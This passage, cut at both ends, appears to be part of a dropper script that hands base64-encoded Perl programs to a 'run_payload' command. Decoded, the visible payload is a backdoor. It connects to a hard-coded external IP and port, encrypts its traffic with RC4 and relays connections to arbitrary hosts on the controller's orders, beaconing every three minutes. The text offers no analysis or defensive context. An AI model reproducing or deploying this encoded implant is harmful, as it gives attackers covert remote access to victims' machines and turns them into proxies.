rIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_17.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY2JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldG